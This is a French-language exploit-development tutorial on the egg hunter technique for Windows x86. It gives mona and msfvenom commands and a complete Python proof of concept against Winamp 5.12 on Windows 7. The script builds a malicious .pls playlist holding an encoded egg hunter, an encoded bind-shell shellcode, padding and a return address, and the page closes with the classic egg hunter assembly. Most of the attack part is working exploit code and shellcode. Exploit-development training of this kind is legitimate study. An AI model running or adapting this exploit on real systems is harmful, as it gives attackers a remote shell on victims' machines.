Egg Hunter
Le principe d’un egg hunter est de séparer le shellcode en deux sections:
- Une première section contenant la charge utile (e.g. bind shell, reverse shell, etc.). Cette partie est précédée d’un “Egg” qui est une chaîne spécifique répétée deux fois (e.g. W00TW00T).
- Une seconde section contenant le “egg hunter” qui va parcourir la mémoire à la recherche de la charge utile.
Utilisation
Générer un shellcode egg hunter pour b33f avec mona:
!mona egg -t b33f
Si on a besoin d’encoder l’egg hunter:
echo "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" | msfvenom --platform windows -a x86 -e x86/alpha_mixed -f py -p -
Il est recommandé de faire une recherche pour identifier où la charge utile se trouve en mémoire:
!mona cmp -f "E:\Exemple\shellcode"
Dans certains cas l’egg hunter tombera sur l’egg, mais le shellcode qui le suit sera corrompu. Dans ce cas:
- Modifier l’egghunter pour qu’il commence au bon endroit. Il faut garder à l’esprit que la base address sera modifiée. Cependant la répartition sur la stack ne devrait pas l’être. On peut donc se baser sur l’état courant des registres.
- Ajouter un contrôle d’intégrité à l’egghunter (voir EggSandwich – An Egghunter with Integrity)
Exemple exploitation
Exploitation de Winamp 5.12 sous Windows 7:
#!/usr/bin/env/python
head = "[playlist]\r\nFile1=\\\\"
# Egghunter modifié et encodé avec msfvenom
# On a ajouté un "or edx, 0x00FFFFFF" au début. Ceci permet de s'assurer qu'on trouve le shellcode intégre ET qu'il ne soit pas trop proche d'ESP.
buf = ""
buf += "\x89\xe2\xdb\xd3\xd9\x72\xf4\x59\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += "\x50\x38\x41\x42\x75\x4a\x49\x4e\x61\x6b\x7a\x39\x6f"
buf += "\x4b\x4f\x59\x6f\x63\x30\x73\x56\x6b\x31\x49\x5a\x39"
buf += "\x6f\x44\x4f\x70\x42\x53\x62\x61\x7a\x74\x42\x46\x38"
buf += "\x5a\x6d\x64\x6e\x47\x4c\x75\x55\x30\x5a\x50\x74\x58"
buf += "\x6f\x6d\x68\x43\x47\x46\x50\x66\x50\x53\x44\x6e\x6b"
buf += "\x48\x7a\x4c\x6f\x44\x35\x68\x6a\x4e\x4f\x32\x55\x7a"
buf += "\x47\x4b\x4f\x5a\x47\x41\x41"
egghunter = buf
# Un bind shell encodé avec msfvenom
buf = ""
buf += "\x89\xe2\xda\xd2\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x39\x78\x4e"
buf += "\x62\x73\x30\x33\x30\x63\x30\x73\x50\x4f\x79\x69\x75"
buf += "\x50\x31\x49\x50\x31\x74\x6e\x6b\x62\x70\x66\x50\x4c"
buf += "\x4b\x46\x32\x44\x4c\x4c\x4b\x56\x32\x72\x34\x4e\x6b"
buf += "\x34\x32\x57\x58\x76\x6f\x6c\x77\x42\x6a\x45\x76\x64"
buf += "\x71\x6b\x4f\x4e\x4c\x45\x6c\x75\x31\x63\x4c\x53\x32"
buf += "\x66\x4c\x75\x70\x6a\x61\x6a\x6f\x36\x6d\x53\x31\x4f"
buf += "\x37\x59\x72\x59\x62\x51\x42\x71\x47\x6c\x4b\x30\x52"
buf += "\x64\x50\x6e\x6b\x61\x5a\x47\x4c\x6c\x4b\x42\x6c\x67"
buf += "\x61\x44\x38\x58\x63\x77\x38\x55\x51\x5a\x71\x42\x71"
buf += "\x6c\x4b\x50\x59\x65\x70\x45\x51\x59\x43\x6e\x6b\x51"
buf += "\x59\x44\x58\x69\x73\x66\x5a\x53\x79\x6e\x6b\x76\x54"
buf += "\x4c\x4b\x67\x71\x4a\x76\x34\x71\x4b\x4f\x6c\x6c\x6b"
buf += "\x71\x5a\x6f\x44\x4d\x63\x31\x6f\x37\x45\x68\x39\x70"
buf += "\x62\x55\x68\x76\x57\x73\x73\x4d\x59\x68\x47\x4b\x31"
buf += "\x6d\x71\x34\x74\x35\x5a\x44\x33\x68\x6e\x6b\x72\x78"
buf += "\x44\x64\x77\x71\x4a\x73\x53\x56\x6c\x4b\x54\x4c\x32"
buf += "\x6b\x6e\x6b\x31\x48\x77\x6c\x43\x31\x4b\x63\x6c\x4b"
buf += "\x74\x44\x4e\x6b\x56\x61\x48\x50\x4d\x59\x62\x64\x44"
buf += "\x64\x74\x64\x33\x6b\x33\x6b\x35\x31\x33\x69\x32\x7a"
buf += "\x46\x31\x4b\x4f\x6b\x50\x63\x6f\x73\x6f\x63\x6a\x6e"
buf += "\x6b\x44\x52\x68\x6b\x4e\x6d\x33\x6d\x70\x68\x77\x43"
buf += "\x77\x42\x57\x70\x75\x50\x33\x58\x62\x57\x73\x43\x66"
buf += "\x52\x61\x4f\x46\x34\x32\x48\x72\x6c\x50\x77\x77\x56"
buf += "\x55\x57\x39\x6f\x49\x45\x4d\x68\x4a\x30\x63\x31\x37"
buf += "\x70\x37\x70\x57\x59\x49\x54\x32\x74\x72\x70\x51\x78"
buf += "\x56\x49\x6b\x30\x62\x4b\x63\x30\x79\x6f\x4a\x75\x53"
buf += "\x5a\x43\x38\x36\x39\x76\x30\x49\x72\x79\x6d\x31\x50"
buf += "\x36\x30\x77\x30\x70\x50\x30\x68\x4a\x4a\x76\x6f\x69"
buf += "\x4f\x69\x70\x4b\x4f\x58\x55\x5a\x37\x52\x48\x43\x32"
buf += "\x35\x50\x47\x61\x53\x6c\x6c\x49\x49\x76\x52\x4a\x36"
buf += "\x70\x72\x76\x33\x67\x63\x58\x6a\x62\x59\x4b\x45\x67"
buf += "\x35\x37\x59\x6f\x4a\x75\x56\x37\x32\x48\x6f\x47\x4a"
buf += "\x49\x74\x78\x4b\x4f\x6b\x4f\x78\x55\x46\x37\x71\x78"
buf += "\x53\x44\x58\x6c\x67\x4b\x68\x61\x59\x6f\x6b\x65\x72"
buf += "\x77\x4f\x67\x50\x68\x32\x55\x30\x6e\x62\x6d\x50\x61"
buf += "\x79\x6f\x6b\x65\x65\x38\x50\x63\x42\x4d\x62\x44\x37"
buf += "\x70\x4e\x69\x59\x73\x52\x77\x61\x47\x63\x67\x30\x31"
buf += "\x69\x66\x63\x5a\x76\x72\x50\x59\x56\x36\x48\x62\x79"
buf += "\x6d\x53\x56\x6b\x77\x52\x64\x55\x74\x77\x4c\x75\x51"
buf += "\x55\x51\x4c\x4d\x37\x34\x66\x44\x34\x50\x48\x46\x35"
buf += "\x50\x32\x64\x72\x74\x32\x70\x50\x56\x52\x76\x36\x36"
buf += "\x63\x76\x76\x36\x52\x6e\x73\x66\x61\x46\x72\x73\x76"
buf += "\x36\x45\x38\x63\x49\x58\x4c\x57\x4f\x4e\x66\x6b\x4f"
buf += "\x6a\x75\x4e\x69\x6b\x50\x30\x4e\x76\x36\x61\x56\x59"
buf += "\x6f\x50\x30\x52\x48\x53\x38\x4d\x57\x67\x6d\x51\x70"
buf += "\x4b\x4f\x68\x55\x4f\x4b\x4a\x50\x4d\x65\x69\x32\x33"
buf += "\x66\x55\x38\x69\x36\x4a\x35\x6d\x6d\x4f\x6d\x49\x6f"
buf += "\x79\x45\x65\x6c\x53\x36\x73\x4c\x55\x5a\x6b\x30\x49"
buf += "\x6b\x69\x70\x30\x75\x74\x45\x4d\x6b\x71\x57\x55\x43"
buf += "\x53\x42\x62\x4f\x31\x7a\x65\x50\x70\x53\x69\x6f\x6a"
buf += "\x75\x41\x41"
shellcode = "w00tw00t" + buf
padding = "\x90"*(1022 - len(shellcode) - len(egghunter))
payload = ""
print("[+] offset {}\r\n[shellcode]".format(len(payload)))
payload+= shellcode
print("[+] offset {}\r\n[padding]".format(len(payload)))
payload+= padding[:len(padding)/2]
print("[+] offset {}\r\n[egghunter]".format(len(payload)))
payload+= egghunter
print("[+] offset {}\r\n[padding]".format(len(payload)))
payload+= padding[len(padding)/2:]
print("[+] offset {}\r\n[return address]".format(len(payload)))
payload+= "\x61\xd9\x02\x02" + "\xE9\x16\xFF\xFF\xFF" + "\x90"*6
end = "\r\n\Title1=bramo\r\nLength=512\r\nNumberOfEntries=1\r\nVersion=2\r\n"
f = open('poc.pls','w')
f.write(head + payload + end)
f.close()
# Cette partie est destinée à avoir un fichier pour utiliser mona cmp -f shellcode et identifier où se trouvent les points d'intérêts en mémoire.
f = open('shellcode', 'w')
f.write(shellcode)
f.close()
Exemple d’egg hunter
L’exemple ci-dessous est l’exemple “classique” d’egg hunter:
loop_inc_page:
or dx, 0x0fff // Add PAGE_SIZE-1 to edx
loop_inc_one:
inc edx // Increment our pointer by one
loop_check:
push edx // Save edx
push 0x2 // Push NtAccessCheckAndAuditAlarm
pop eax // Pop into eax
int 0x2e // Perform the syscall
cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
pop edx // Restore edx
loop_check_8_valid:
je loop_inc_page // Yes, invalid ptr, go to the next page
is_egg:
mov eax, 0x50905090 // Throw our egg in eax
mov edi, edx // Set edi to the pointer we validated
scasd // Compare the dword in edi to eax
jnz loop_inc_one // No match? Increment the pointer by one
scasd // Compare the dword in edi to eax again (which is now edx + 4)
jnz loop_inc_one // No match? Increment the pointer by one
matched:
jmp edi // Found the egg. Jump 8 bytes past it into our code.